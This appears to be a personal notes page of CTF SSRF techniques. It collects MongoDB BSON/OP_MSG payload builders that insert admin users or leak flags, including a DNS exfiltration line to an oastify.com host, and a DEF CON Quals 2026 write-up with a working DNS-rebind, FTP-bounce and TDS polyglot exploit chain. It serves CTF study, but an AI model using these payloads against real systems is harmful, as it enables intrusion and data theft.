Skip to content

Categories

SSRF

justctf 2023 https://gist.github.com/TrixterTheTux/99c1da88ebdc7bd3de224ef500f01178https://www.serv-u.com/resources/tutorial/pasv-response-epsv-port-pbsz-rein-ftp-command#:~:text=(p1%20*%20256)%20%2B%...

Created

Updated

8 min read

Reading time

2 categories

Topics covered

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

SSRF using ftp pasv

justctf 2023 https://gist.github.com/TrixterTheTux/99c1da88ebdc7bd3de224ef500f01178

https://www.serv-u.com/resources/tutorial/pasv-response-epsv-port-pbsz-rein-ftp-command#:~:text=(p1%20*%20256)%20%2B%20p2%20%3D%20data%20port ## ssrf on mongodb

const BSON = require("bson");const fs = require("fs");const doc = {
  find: "flag",  $db: "secret",  filter: {
    $where: `this.flag.startsWith('${process.argv[2]}') && sleep(100000)`  }
};const data = BSON.serialize(doc);let beginning = Buffer.from(
  "000000000000000000000000DD0700000000000000",  "hex");let full = Buffer.concat([beginning, data]);full.writeUInt32LE(full.length, 0);fs.writeFileSync("bson.bin", full);
const BSON = require('bson')
const fs = require('fs')
const crypto = require('crypto')
let header1 = Buffer.from('aabbccdd11111111ffffffff00000000', 'hex')
let msg1 = Buffer.concat([header1, crypto.randomBytes(256)]) // this can contain random garbage like http headersconst doc = {
    find: 'flag',    $db: 'secret'}
let header2 = Buffer.from('000000000000000000000000DD0700000000000000', 'hex')
let msg2 = Buffer.concat([header2, BSON.serialize(doc)])
msg1.writeUInt32LE(msg1.length, 0)
msg2.writeUInt32LE(msg2.length, 0)
const full = Buffer.concat([msg1, msg2])
console.log(
    Array.from(full)
        .map(x => x.toString(16).padStart(2, '0'))
        .join(' ')
)
console.log(full.toString())
fs.writeFileSync('/tmp/bson.bin', full)
const BSON = require('bson')
const fs = require('fs')
const crypto = require('crypto')
let header1 = Buffer.from('aabbccdd111111110000000000000000', 'hex')
let msg1 = Buffer.concat([header1, crypto.randomBytes(256)]) // this can contain random garbage like http headersmsg1 = msg1.map(x => (x == 0xff ? 0x00 : x)) // replace 0xff with 0x00 as telent will duplicate that with some unknown reasonconst doc = {
    find: 'flag',    $db: 'secret'}
let header2 = Buffer.from('000000000000000000000000DD0700000000000000', 'hex')
let msg2 = Buffer.concat([header2, BSON.serialize(doc)])
msg1.writeUInt32LE(msg1.length, 0)
msg2.writeUInt32LE(msg2.length, 0)
const full = Buffer.concat([msg1, msg2])
console.log(
    Array.from(full)
        .map(x => x.toString(16).padStart(2, '0'))
        .join(' ')
)
console.log(full.toString())
fs.writeFileSync('/tmp/bson.bin', full)
// `curl 'telnet://localhost:27017/' --upload-file /tmp/bson.bin --http0.9 --max-time 1` will show the flag// if it is possible to make it work with curl `-X` option then it should work too
b.getSiblingDB('secret').flag.find({
    $where: function () {
        var m = "mongodb+srv://";        for (i = 0; i < this.flag.length; i++) {
            m += this.flag.charCodeAt(i).toString(16);        }
        m += "." + Math.floor(Math.random() * 1337) + ".ojb52kped3e19tuedltz1fvl4ca3yxmm.oastify.com:27017/";        MongoURI(m);    }
});

Another example in htbctf 2024

https://trixterthetux.notion.site/HTB-Cyber-Apocalypse-2024-web-Percetron-07e517143f9f4753941efc24b72640e1

// npm init -y && npm install --save bson bcryptjsconst fs = require("fs");const BSON = require("bson");const bcrypt = require("bcryptjs");(async () => {
    const doc = {
        insert: 'users',        documents: [
            {
                _id: new BSON.ObjectId(),                username: 'trixter_admin',                password: await bcrypt.hash('password', 10),                permission: 'administrator',            }
        ],        ordered: true,        '$db': 'percetron',    };    const data = BSON.serialize(doc);    let beginning = Buffer.from(
      "000000000000000000000000DD0700000000000000",      "hex"    );    let full = Buffer.concat([beginning, data]);    full.writeUInt32LE(full.length, 0);    fs.writeFileSync("bson.bin", full);})();

SSRF using telnet

web/unfinished https://clbuezzz.wordpress.com/2023/02/13/dicectf-2023-web-challenges/

SSRF to mongo db

https://github.com/hackthebox/cyber-apocalypse-2024/tree/main/web/[Hard] Percetron

username = "lean"

OP_MSG = [
    0x00, 0x00, 0x00, 0x00,                     # request id)
    0x00, 0x00, 0x00, 0x00,                     # responseto
    0xDD, 0x07, 0x00, 0x00,                     # OP_MSG
    0x00, 0x00, 0x00, 0x00,                     # message flags
    0x00                                        # body kind
]

payload = f"""db.runCommand({{update:\"users\",updates:[{{q:{{\"username\":\"{username}\"}},u:{{$set:{{\"permission\":\"administrator\"}}}}}}]}})"""

document = [
    # 0x00, 0x00, 0x00, 0x00,                   # total document body size
    0x0d,                                       # type is javascript code 
    ] + list(bytearray(b"$eval")) + [           # element
    0x00,                                       # end
    ] + pack_size(len(payload)+1) + [           # length
    ] + list(bytearray(payload.encode())) + [   # value
    0x00, 
    0x04                                        # type is array
    ] + list(bytearray(b"args")) + [            # element
    0x00,                                       # end
    0x05, 0x00, 0x00, 0x00,                     # length
    0x00,                                       # empty
    0x03                                        # type is document
    ] + list(bytearray(b"lsid")) + [            # element
    0x00,                                       # end
    0x1e, 0x00, 0x00, 0x00,                     # length
    0x05,                                       # type is binary
    ] + list(bytearray(b"id")) + [              # element
    0x00,                                       # end
    0x10, 0x00, 0x00, 0x00,                     # length
    0x04, 
    0x1d, 0x62, 0x89, 0x5c, 0x03, 0x55, 
    0x4d, 0x4e, 0xb5, 0xe1, 0xe6, 0xa3,
    0xeb, 0x0b, 0x82, 0xff, 
    0x00,                                       # end
    0x02,                                       # type is string
    ] + list(bytearray(b"$db")) + [             # element
    0x00,                                       # end
    0x0a, 0x00, 0x00, 0x00,                     # length
    ] + list(bytearray(b"percetron")) + [ 
    0x00,                                       # end
    0x03                                        # type is document
    ] + list(bytearray(b"$readPreference")) + [
    0x00,                                       # end
    0x20, 0x00, 0x00, 0x00,                     # length 
    0x02,                                       # type is string
    ] + list(bytearray(b"mode")) + [
    0x00,                                       # end
    0x11, 0x00, 0x00, 0x00,                     # length
    ] + list(bytearray(b"primaryPreferred")) + [# value
    0x00, 0x00, 0x00
]

print(encode(construct_query(OP_MSG, document)))

SSRF → FTP active-mode bounce of a PNG/TDS polyglot → Babelfish SQL UPDATE

Event NameDEF CON CTF Qualifiers 2026
Source URL-
Challenge NameWaybird Machine (web/misc, 323 pts)
Attachments
References

  • Root cause. Flask /scrape runs requests.get with HTTPDigestAuth after a private-IP blocklist on socket.getaddrinfo. pyftpdlib (anonymous, writable, port 21) and Babelfish/TDS (port 1433) listen on the same network namespace as the web app. The flag is stored in flags(is_hidden=1) and rendered on / only when is_hidden=0 ⇒ a SQL UPDATE flags SET is_hidden=0; exposes it.
  • Decisive chain (5 parts).
    • Upload polyglot via /scrape. PNG header through IEND ends at byte 88; from byte 88 onward is a complete TDS stream (prelogin + login7 babelfish_user / 12345678 + SQL Batch UPDATE flags SET is_hidden=0;), plus a few MB of \x00 padding (the key to keep the FTP data socket alive long enough — see below). ImageMagick identify accepts the file as a valid PNG.
    • DNS rebinding bypass. make-<vps-ip>-and-0-0-0-0-rr-<ts>.1u.ms returns multi-A {VPS_IP, 0.0.0.0}. _validate_url's getaddrinfo sees one allowed IP and lets the request through; urllib3 first connects to the VPS (gets a Digest 401), retries — second lookup hits 0.0.0.0, which from inside the container loops back to the web's own pyftpdlib on :21.
    • HTTP header smuggling. Python's http.client accepts the legacy obs-fold (CRLF SP ...) inside header values. The retry's Authorization: Digest username="…" (or the malicious 401's WWW-Authenticate: Digest nonce="…") carries \r\n continuation lines containing real FTP commands. pyftpdlib (asynchat, recv chunk = 65 536) reads them.
    • pyftpdlib 2048-byte line-cap bypass. Lines over 2 048 bytes have their pending buffer DROPPED. Pad each folded line so the next FTP command starts on a 65 536-byte recv boundary — the buffer drop discards the over-long padding, and the next recv chunk begins exactly at USER anonymous / PASS p / TYPE I / EPRT |1|127.0.0.1|1433| / REST 88 / RETR <file>.
    • FTP active-mode bounce to Babelfish. EPRT |1|127.0.0.1|1433| makes pyftpdlib dial the local TDS server; REST 88 skips the PNG prefix; RETR streams the TDS portion. Babelfish parses prelogin → login7 → SQL batch, commits the UPDATE, and / renders the flag.
  • Padding caveat. Without trailing padding, RETR finishes in ms and pyftpdlib closes the data socket before Babelfish can process the SQL batch — log shows could not send data to client: Broken pipe while flushing the login7 response, then FATAL: connection to client lost and the batch is never run. A few MB of \x00 keeps the data socket alive long enough; bluepichu/kek used RETR some_big_file and zaratec used STOR after RETR for the same effect. Trailing zeros surface later as TDS packet with insufficient data — harmless, the UPDATE has already committed.
  • EPRT foreign-address gotcha. pyftpdlib rejects EPRT |1|127.0.0.1|...| with 501 Rejected data connection to foreign address unless the control-connection peer is also 127.0.0.1. The DNS rebind to 0.0.0.0 makes the FTP control peer be loopback, so EPRT 127.0.0.1 is accepted. For a local PoC, drive FTP from inside the container so the peer matches.
  • why it is vulnerable
    # bbbird_archive/app/scraper.py — SSRF gate is host-only and one-shot:
    def _validate_url(url):
        resolved = socket.getaddrinfo(hostname, None)
        for family, _, _, _, sockaddr in resolved:
            ip = ipaddress.ip_address(sockaddr[0])
            for network in BLOCKED_NETWORKS:
                if ip in network:
                    raise ScrapeError("Access to private/internal addresses is not allowed")
        return parsed   # second DNS lookup by requests is NOT re-validated -> DNS rebind
    
    def _fetch(url, auth_user, auth_pass):
        r = requests.get(url, allow_redirects=False)
        if r.status_code == 401:
            auth_header = r.headers.get("WWW-Authenticate", "").lower()
            if "digest" in auth_header:
                # HTTPDigestAuth re-issues GET with the same URL -> rebind kicks in,
                # and Python http.client allows obs-fold (CRLF SP) inside Digest values.
                r = requests.get(url, auth=HTTPDigestAuth(auth_user, auth_pass), ...)
    
    # run-web.sh on the same network namespace as the web/Flask:
    #   python -m pyftpdlib -D --port 21 -w -d /app/app/static/scraped &   # anonymous + writable
    #   babelfish on 127.0.0.1:1433 + birdarchive DB + flag row with is_hidden=1
    exploit payload
    # FTP commands smuggled through Digest CRLF obs-fold, aligned to recv(65536) boundaries.
    USER anonymous                              # everything to the right of \r\n is padded so the
    PASS pppppp…p                               #   NEXT command lands on a 65536-byte recv boundary
    TYPE I
    EPRT |1|127.0.0.1|1433|                     # pyftpdlib dials Babelfish/TDS as the FTP data conn
    REST 88                                     # skip the 88-byte PNG prefix (header+IHDR+IDAT+IEND)
    RETR <uploaded-polyglot>                    # stream prelogin + login7 + SQL batch + ~MB of pad
    
    # TDS SQL batch (UTF-16) embedded after byte 88 of the polyglot:
    UPDATE flags SET is_hidden=0;
    solver
    # make_polyglot.py — build the PNG/TDS polyglot from the minimal TDS stream
    # (prelogin + login7(babelfish_user/12345678) + SQL batch UPDATE flags SET is_hidden=0;)
    import base64, sys
    TDS_MIN_UPDATE0_B64 = (
        "EgEAOgAAAAAAABoABgEAIAABAgAhAAwDAC0ABAQAMQAB/wkAAAAAAABNU1NRTFNlcnZlcg"
        "B0BAAAABABASEAAAAAGQEAAAQAAHQAEAAABoPy+HQEAAAAAAAA4AEAGIj///82BAAAXgAM"
        "AHYADgCSAAgAogAOAL4ACQDQAAQA1AAKAOgACgD8AAsAJpUdylZmEgEAABIBAAASAQAAAA"
        "AAADQANwA4ADAAOQAzADQAYgAwADQAZAA0AGIAYQBiAGUAbABmAGkAcwBoAF8AdQBzAGUA"
        "cgC2pYallqXmpfalxqXWpSalcAB5AG0AcwBzAHEAbAA9ADIALgAzAC4AMQAzADEAMgA3AC"
        "4AMAAuADAALgAxABIBAABEAEIALQBMAGkAYgByAGEAcgB5AHUAcwBfAGUAbgBnAGwAaQBz"
        "AGgAYgBpAHIAZABhAHIAYwBoAGkAdgBlAAoBAAAAAf8BAQBYAAABABYAAAASAAAAAgAAAA"
        "AAAAAAAAEAAABVAFAARABBAFQARQAgAGYAbABhAGcAcwAgAFMARQBUACAAaQBzAF8AaABp"
        "AGQAZABlAG4APQAwADsA")
    PNG_PREFIX = bytes.fromhex(  # 6x3 PNG, ends at byte 88 (header+IHDR+IDAT+IEND)
        "89504e470d0a1a0a0000000d49484452000000060000000308020000003f63e9ac"
        "0000001f49444154789c6dc8310d00000c02300e6c2c19fe4d7213e859de0b"
        "8928a30c162f006ba732dec60000000049454e44ae426082")
    PAD_MB = int(sys.argv[1]) if len(sys.argv) > 1 else 2     # keeps FTP data socket alive long enough
    open("polyglot.png","wb").write(PNG_PREFIX + base64.b64decode(TDS_MIN_UPDATE0_B64) + b"\x00"*PAD_MB*1024*1024)
    
    # bounce.py — drive FTP bounce → 127.0.0.1:1433 (run from a peer with IP 127.0.0.1, i.e. via the
    # DNS-rebind path; here run from inside the web container so EPRT 127.0.0.1 is accepted)
    import socket, time
    s = socket.create_connection(("127.0.0.1", 21))
    s.recv(4096)
    for cmd in ["USER anonymous","PASS anonymous","TYPE I",
                "EPRT |1|127.0.0.1|1433|","REST 88","RETR polyglot.png"]:
        s.sendall((cmd+"\r\n").encode()); time.sleep(0.3); print(s.recv(4096).decode("latin-1","replace").rstrip())
    
    # Full-chain front-end (DNS rebinding + Digest obs-fold smuggling) — invocation that yields the flag
    # remotely (secu23, Codex-assisted; two helper files described in REPO):
    # VPS:
    #   python3 waybird_split_server.py --payload-port 9010 --auth-port 21 --payload-kind png \
    #       --pad-mb 10 --auth-style simple --active-mode eprt --active-host 127.0.0.1 \
    #       --refuse-after-401 3 --refuse-after-401-count 2
    # Client (target-reachable):
    #   python3 waybird_split_client.py --target http://TARGET --vps http://VPS:9010 \
    #       --rebind-domain make-<vps-ip>-and-0-0-0-0-rr-$(date +%s).1u.ms \
    #       --target-accept-encoding 'gzip, deflate' --attempts 5 --sleep 0.5

    Categories & Topics

    This note is categorized under the following topics. Click on any category to explore more related content.

    Share this note

    Share:

    Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.